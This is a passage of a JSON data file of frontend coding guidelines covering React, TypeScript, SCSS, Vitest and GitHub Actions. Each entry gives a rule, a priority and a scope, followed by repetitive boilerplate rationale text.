theme.","apiRule":"Use a component's built-in state props (e.g. disabled) so its theme styling applies, instead of replicating the state with a custom CSS class that can fight the theme. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use a component's icon props instead of hand-rolled markup","rule":"When a UI component exposes startIcon/endIcon (or similar) props, use them to render icons rather than reproducing icon-and-label layout manually.","apiRule":"When a UI component exposes startIcon/endIcon (or similar) props, use them to render icons rather than reproducing icon-and-label layout manually. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Always set an explicit typography variant","rule":"Specify the design-system typography variant on text components instead of relying on defaults or ad-hoc font styling.","apiRule":"Specify the design-system typography variant on text components instead of relying on defaults or ad-hoc font styling. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't override fontSize when a typography variant already sets it","rule":"When a typography variant defines its font size, don't also pass an explicit fontSize; pick the right variant or add a need-based custom variant.","apiRule":"When a typography variant defines its font size, don't also pass an explicit fontSize; pick the right variant or add a need-based custom variant. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Define types for third-party API responses","rule":"Write explicit types for external/provider API responses (per their docs) instead of leaving them untyped.","apiRule":"Write explicit types for external/provider API responses (per their docs) instead of leaving them untyped. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Omit type annotations the compiler already infers","rule":"Don't restate a function's return type or a variable type when TypeScript infers it correctly from arguments or initializer.","apiRule":"Don't restate a function's return type or a variable type when TypeScript infers it correctly from arguments or initializer. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"List only real dependencies in memoization hooks","rule":"Include in a useMemo/useCallback dependency array only the values the computation truly depends on, so it doesn't recompute on every unrelated change.","apiRule":"Include in a useMemo/useCallback dependency array only the values the computation truly depends on, so it doesn't recompute on every unrelated change. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the full webkit line-clamp block for multiline ellipsis","rule":"To truncate text across multiple lines you need the complete -webkit-box clamp set, not just text-overflow: ellipsis.","apiRule":"To truncate text across multiple lines you need the complete -webkit-box clamp set, not just text-overflow: ellipsis. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the Sass ampersand correctly for compound and nested selectors","rule":"Nest related classes properly and use & only when classes truly co-occur on the same element; a bare nested class targets a descendant, not the same node.","apiRule":"Nest related classes properly and use & only when classes truly co-occur on the same element; a bare nested class targets a descendant, not the same node. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use the semantic element prop instead of forcing display: block in CSS","rule":"When a UI library exposes a component/as prop to render a block element, use it rather than overriding display: block in the stylesheet.","apiRule":"When a UI library exposes a component/as prop to render a block element, use it rather than overriding display: block in the stylesheet. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Prefer dedicated handlers over data-attribute action dispatch","rule":"Instead of encoding an action in a data attribute and branching with if/else, write one explicit handler per action.","apiRule":"Instead of encoding an action in a data attribute and branching with if/else, write one explicit handler per action. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Model mutually exclusive states with a single value, not multiple booleans","rule":"When only one of several states can be active at a time (e.g. upvote/downvote/none), represent it as one tri-state value rather than independent booleans that can contradict.","apiRule":"When only one of several states can be active at a time (e.g. upvote/downvote/none), represent it as one tri-state value rather than independent booleans that can contradict. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Name event handlers handleX and their props onX","rule":"Prefix internal event handlers with handle and the props that receive them with on, so naming is consistent across the codebase.","apiRule":"Prefix internal event handlers with handle and the props that receive them with on, so naming is consistent across the codebase. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use template literals for strings containing special characters","rule":"Wrap strings that contain Unicode or special characters in backticks rather than plain quotes to avoid escaping and encoding issues.","apiRule":"Wrap strings that contain Unicode or special characters in backticks rather than plain quotes to avoid escaping and encoding issues. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Skip the initial client fetch when data already came from SSR","rule":"When server-side rendering already provided the data, do not refetch it on mount; use an update-only effect so the first render uses the SSR payload.","apiRule":"When server-side rendering already provided the data, do not refetch it on mount; use an update-only effect so the first render uses the SSR payload. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Name raw backend payload types with a Response suffix","rule":"Keep two types per fetch function: one suffixed Response for the raw web-service payload and one without the suffix for the resolved domain value.","apiRule":"Keep two types per fetch function: one suffixed Response for the raw web-service payload and one without the suffix for the resolved domain value. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Put illustrative example values in .env.example","rule":"The example env file should contain representative placeholder values, not be left blank, so others know the expected format.","apiRule":"The example env file should contain representative placeholder values, not be left blank, so others know the expected format. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Coerce a value to string with a template literal instead of an extra cast","rule":"Prefer a concise template-literal coercion over declaring an intermediate arrow/cast when you just need a string.","apiRule":"Prefer a concise template-literal coercion over declaring an intermediate arrow/cast when you just need a string. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid effect setups that re-trigger themselves into an infinite loop","rule":"Be careful that a useEffect does not update state that is in its own dependency chain in a way that re-runs forever.","apiRule":"Be careful that a useEffect does not update state that is in its own dependency chain in a way that re-runs forever. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: stack specific.","whenToApply":"Priority: P0. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"stack-specific"},{"title":"Use PascalCase for type and interface names and drop the I prefix","rule":"Types and interfaces should start with an uppercase letter (PascalCase) and not use a Hungarian I prefix.","apiRule":"Types and interfaces should start with an uppercase letter (PascalCase) and not use a Hungarian I prefix. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Make prop types match the values actually passed","rule":"If null can be passed, the prop type must allow null (or guard the call); mismatches would surface as errors under strict null checks.","apiRule":"If null can be passed, the prop type must allow null (or guard the call); mismatches would surface as errors under strict null checks. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"List props explicitly instead of spreading an object into a component","rule":"Pass named props so a component's interface is visible at the call site, rather than spreading an opaque object that hides what it receives.","apiRule":"Pass named props so a component's interface is visible at the call site, rather than spreading an opaque object that hides what it receives. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Search for existing utilities and types before adding duplicates","rule":"Before creating a type, helper, or block, check whether it already exists; duplicating logic in a third place is a signal to extract and reuse.","apiRule":"Before creating a type, helper, or block, check whether it already exists; duplicating logic in a third place is a signal to extract and reuse. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Keep page files thin: compose sections, no inline styling or markup blocks","rule":"A page should mostly assemble section/feature components; move styling and reusable markup into dedicated components instead of living in the page.","apiRule":"A page should mostly assemble section/feature components; move styling and reusable markup into dedicated components instead of living in the page. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Avoid inline arrows in list rendering; carry data via data attributes","rule":"In mapped lists, do not create a new arrow per item to pass row data; use a single handler that reads a data attribute, and always set a stable key.","apiRule":"In mapped lists, do not create a new arrow per item to pass row data; use a single handler that reads a data attribute, and always set a stable key. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Nest SCSS selectors to follow the component's markup hierarchy","rule":"Keep the top-level container as the root selector and nest child selectors inside it to mirror the DOM structure of the component.","apiRule":"Keep the top-level container as the root selector and nest child selectors inside it to mirror the DOM structure of the component. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Model types after the documented API schema","rule":"Derive request/response types from the API contract (Swagger/OpenAPI) instead of inventing fields, and drop fields the API does not return.","apiRule":"Derive request/response types from the API contract (Swagger/OpenAPI) instead of inventing fields, and drop fields the API does not return. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Pass the setter directly when a wrapper handler only forwards its argument","rule":"If a handler does nothing but call a state setter with the same value, pass the setter itself instead of wrapping it.","apiRule":"If a handler does nothing but call a state setter with the same value, pass the setter itself instead of wrapping it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Type form context with the form-values generic for autocomplete","rule":"Pass your form-values interface as the generic to the form hook so getValues and friends are typed and autocompleted.","apiRule":"Pass your form-values interface as the generic to the form hook so getValues and friends are typed and autocompleted. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Set repeated component defaults centrally in the theme, not per usage","rule":"Configure default props (placement, variant) for a UI-library component once in the theme rather than repeating the same prop at every call site.","apiRule":"Configure default props (placement, variant) for a UI-library component once in the theme rather than repeating the same prop at every call site. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Do not reset state on mount when the keyed prop never changes","rule":"Avoid an effect that resets state on a prop that only sets once; it just causes an extra render on mount.","apiRule":"Avoid an effect that resets state on a prop that only sets once; it just causes an extra render on mount. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Name configuration maps for their role, not generically","rule":"Give lookup maps and config objects descriptive names (e.g. ApiBaseUrlMap) rather than ambiguous ones like Api.","apiRule":"Give lookup maps and config objects descriptive names (e.g. ApiBaseUrlMap) rather than ambiguous ones like Api. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not put page data-fetching functions in API routes","rule":"Server data-fetching functions only run for rendered pages; they have no effect when placed in an API route handler.","apiRule":"Server data-fetching functions only run for rendered pages; they have no effect when placed in an API route handler. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Verify you are calling third-party APIs as documented","rule":"When using a library's validation/config API, follow its documented shape (e.g. an object/array of callbacks) rather than guessing a signature that silently no-ops.","apiRule":"When using a library's validation/config API, follow its documented shape (e.g. an object/array of callbacks) rather than guessing a signature that silently no-ops. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Name a mount-only flag isFirstRender","rule":"Use a clear name like isFirstRender for a one-time mount guard rather than an initial-prefixed name implying repetition.","apiRule":"Use a clear name like isFirstRender for a one-time mount guard rather than an initial-prefixed name implying repetition. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Consolidate tightly-coupled state into a single variable","rule":"When two state values always change together (e.g. snackbar message and open flag), model them as one piece of state derived appropriately.","apiRule":"When two state values always change together (e.g. snackbar message and open flag), model them as one piece of state derived appropriately. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Drop redundant intermediate response types","rule":"Don't define a wrapper interface that is only used to unwrap a response; type the parsed JSON inline and return the inner data directly.","apiRule":"Don't define a wrapper interface that is only used to unwrap a response; type the parsed JSON inline and return the inner data directly. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Omit the error binding in catch when unused","rule":"Use an optional catch binding (catch { }) when the error object is not used, instead of declaring an unused parameter.","apiRule":"Use an optional catch binding (catch { }) when the error object is not used, instead of declaring an unused parameter. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep a single point of contact with the backend API","rule":"Route API calls through one layer (services or API routes), not both, so request/response logic is not duplicated.","apiRule":"Route API calls through one layer (services or API routes), not both, so request/response logic is not duplicated. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: project specific.","whenToApply":"Priority: P1. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"project-specific"},{"title":"Name and type props for what they accept","rule":"If a prop will not always be a specific format (e.g. an HTML string), name it generically (htmlContent), make it optional, and fall back to children.","apiRule":"If a prop will not always be a specific format (e.g. an HTML string), name it generically (htmlContent), make it optional, and fall back to children. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Return an empty collection rather than null for list-returning functions","rule":"Prefer returning an empty array over null from functions whose callers expect a list, so consumers do not need null checks.","apiRule":"Prefer returning an empty array over null from functions whose callers expect a list, so consumers do not need null checks. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Fetch initial page data on the server, not on mount","rule":"Load a page's initial data in the server-side data function and pass it as props instead of fetching in a client useEffect on mount.","apiRule":"Load a page's initial data in the server-side data function and pass it as props instead of fetching in a client useEffect on mount. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Prefer a single explicit method over a function that returns a function","rule":"Avoid curried/partial-application service methods when one method with clear parameters is simpler to read and call.","apiRule":"Avoid curried/partial-application service methods when one method with clear parameters is simpler to read and call. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Select behavior by variant with a lookup map","rule":"When a component must choose between known implementations, drive the choice with a variant prop mapped through a record rather than branching logic.","apiRule":"When a component must choose between known implementations, drive the choice with a variant prop mapped through a record rather than branching logic. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the branch context variable that matches the workflow trigger","rule":"In GitHub Actions, github.event.ref is null for pull_request; use github.head_ref (or a fallback) for branch names on PR triggers.","apiRule":"In GitHub Actions, github.event.ref is null for pull_request; use github.head_ref (or a fallback) for branch names on PR triggers. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Generate unique ids for SVG defs that may render multiple times","rule":"Hard-coded clipPath/gradient ids collide when several icons render together; make them unique per instance.","apiRule":"Hard-coded clipPath/gradient ids collide when several icons render together; make them unique per instance. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Give boolean ARIA attributes explicit true/false values","rule":"Write aria-hidden={true} (or \"true\") rather than a valueless aria-hidden so the attribute is unambiguous.","apiRule":"Write aria-hidden={true} (or \"true\") rather than a valueless aria-hidden so the attribute is unambiguous. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use find() instead of filter()[0] for the first match","rule":"When you want the first matching element, use find() rather than filter(...)[0]: it is clearer and stops at the first hit.","apiRule":"When you want the first matching element, use find() rather than filter(...)[0]: it is clearer and stops at the first hit. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not use `value || true` as a default — it is always true","rule":"An `x || true` expression collapses to true regardless of x; use the correct default (often `x ?? false`) and match it to the backing source.","apiRule":"An `x || true` expression collapses to true regardless of x; use the correct default (often `x ?? false`) and match it to the backing source. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Name variables by their meaning and reflect their type in hasX booleans","rule":"A hasX name implies a boolean; do not assign it a string, and avoid names that suggest the wrong domain concept.","apiRule":"A hasX name implies a boolean; do not assign it a string, and avoid names that suggest the wrong domain concept. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Compare against string literals so TypeScript narrows the value","rule":"Direct === comparisons against literal values let TypeScript narrow the type, unlike a Set.has() check which leaves it as string.","apiRule":"Direct === comparisons against literal values let TypeScript narrow the type, unlike a Set.has() check which leaves it as string. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use satisfies to validate a literal's shape instead of as","rule":"Annotate object literals with satisfies SomeType to type-check them while keeping inference; as coerces and can hide mismatches.","apiRule":"Annotate object literals with satisfies SomeType to type-check them while keeping inference; as coerces and can hide mismatches. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use the Mock type from vitest instead of ReturnType<typeof vi.fn>","rule":"Type mock functions with import type { Mock } from 'vitest' rather than the verbose ReturnType<typeof vi.fn>.","apiRule":"Type mock functions with import type { Mock } from 'vitest' rather than the verbose ReturnType<typeof vi.fn>. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Test Express endpoints through supertest rather than hand-built req/res casts","rule":"Exercise route handlers via supertest over the real app instead of casting partial objects to Request/Response, which breaks as soon as the handler touches more of req/res/next.","apiRule":"Exercise route handlers via supertest over the real app instead of casting partial objects to Request/Response, which breaks as soon as the handler touches more of req/res/next. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Define variables used inside vi.mock factories with vi.hoisted","rule":"Because vi.mock is hoisted above imports, reference outside variables through vi.hoisted instead of bare module-scope consts.","apiRule":"Because vi.mock is hoisted above imports, reference outside variables through vi.hoisted instead of bare module-scope consts. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Mock modules using a dynamic import() reference for path resilience and type safety","rule":"Pass import('module') to vi.mock so the mock path follows refactors and you get type safety on the factory.","apiRule":"Pass import('module') to vi.mock so the mock path follows refactors and you get type safety on the factory. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Make the whole handler async rather than wrapping its body in an async IIFE","rule":"If a handler needs await, declare the handler async instead of wrapping the body in a void async IIFE.","apiRule":"If a handler needs await, declare the handler async instead of wrapping the body in a void async IIFE. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Decode HTML entities comprehensively or document the limited scope","rule":"Hand-rolled entity handling that covers only one entity is a trap; use a real decoder or comment why only specific entities are handled.","apiRule":"Hand-rolled entity handling that covers only one entity is a trap; use a real decoder or comment why only specific entities are handled. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Store an API response and reuse it instead of calling the endpoint twice","rule":"When a status code is checked and the call is repeated for the non-error path, capture the response once and branch on the stored value.","apiRule":"When a status code is checked and the call is repeated for the non-error path, capture the response once and branch on the stored value. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Place page-specific markup only on the pages that need it, not a shared template","rule":"Adding a feature placeholder to a shared template leaks it onto every page that template renders; scope it to the intended page instead.","apiRule":"Adding a feature placeholder to a shared template leaks it onto every page that template renders; scope it to the intended page instead. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Check the HTTP status the upstream API actually returns on success","rule":"Validate responses against the status code the upstream service truly returns (for example 201 on create), not an assumed one, to avoid false negatives.","apiRule":"Validate responses against the status code the upstream service truly returns (for example 201 on create), not an assumed one, to avoid false negatives. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not add .ts extensions to TypeScript import paths","rule":"Import TypeScript modules without the .ts extension so the path stays consistent with the rest of the codebase and bundler resolution.","apiRule":"Import TypeScript modules without the .ts extension so the path stays consistent with the rest of the codebase and bundler resolution. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Prefer explicit, self-documenting code over a clever one-liner","rule":"Choose a clear, obvious implementation over a terse helper (e.g. lodash xor) when the helper's behaviour is not self-evident at the call site.","apiRule":"Choose a clear, obvious implementation over a terse helper (e.g. lodash xor) when the helper's behaviour is not self-evident at the call site. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Compare unordered id collections by size then membership, not by JSON.stringify","rule":"To detect whether a set of ids changed, compare size and membership instead of relying on JSON.stringify, which is order-sensitive and slower.","apiRule":"To detect whether a set of ids changed, compare size and membership instead of relying on JSON.stringify, which is order-sensitive and 